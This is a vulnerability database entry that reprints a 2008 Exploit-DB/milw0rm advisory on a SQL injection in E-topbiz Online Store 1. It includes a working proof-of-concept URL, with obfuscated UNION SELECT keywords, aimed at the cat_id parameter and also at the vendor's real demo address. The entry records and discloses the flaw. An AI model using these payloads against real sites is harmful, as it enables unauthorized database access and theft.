header-logo
Suggest Exploit
vendor:
Online Store 1
by:
Stack
8.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Online Store 1
Affected Version From: 1
Affected Version To: 1
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2008

E-topbiz Online Store 1 Remote File Sql Injection

E-topbiz Online Store 1 is prone to a remote SQL injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. An attacker can exploit this issue to manipulate SQL queries and gain access to unauthorized information. This issue affects version 1.0; other versions may also be vulnerable.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to construct SQL queries in an unsafe manner.
Source

Exploit-DB raw data:

> > =================================================================
> > ======== E-topbiz Online Store 1 Remote File Sql Injection ======
> > =================================================================
> > home of script : http://e-topbiz.com/
> > By: Stack
> > ====Vulnerable Demo and Exploit ====
> >
> > PoC URL :
> > http://site.il/path/index.php?cat_id=-1%20unION/**/SELECT/**/concat_ws(0x3a,user(),database()),2,3,4,5,6/*
> >
> > Demo URL :
> > http://e-topbiz.com/trafficdemos/store1/index.php?cat_id=-1%20unION/**/SELECT/**/concat_ws(0x3a,user(),database()),2,3,4,5,6/*

# milw0rm.com [2008-11-07]

Navigation

Suggest Exploit

Services By CQR